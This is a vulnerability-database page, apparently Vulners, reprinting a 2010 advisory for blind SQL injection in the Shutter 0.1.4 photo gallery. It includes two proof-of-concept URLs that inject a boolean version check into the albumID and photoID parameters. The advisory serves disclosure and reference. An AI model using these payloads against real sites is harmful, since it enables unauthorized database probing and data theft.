Lucene search

Shutter 0.1.4 Blind SQL Injection

🗓️ 28 Mar 2010 00:00:00Reported by BlakeType

packetstorm🔗 packetstormsecurity.com👁 146 Views

Shutter 0.1.4 SQL Injection Vulnerabilit

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`# Exploit Title: Shutter 0.1.4 Blind SQL Injection  
# Date: March 18, 2010  
# Author: Blake  
# Software Link:  
http://sourceforge.net/projects/shutter-php/files/shutter/v0.1.4/shutter_0.1.4.zip/download  
# Version: version 0.1.4  
  
The albumID and photoID parameters are vulnerable to SQL Injection.  
  
POC:  
http://192.168.1.149/shutter/admin.html?albumID=2%20and%20substring%28@@version,1,1%29=5  
http://192.168.1.149/shutter/admin.html?albumID=2&photoID=5%20and%20substring%28@@version,1,1%29=5  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

28 Mar 2010 00:00Current

0.1Low risk

Vulners AI Score0.1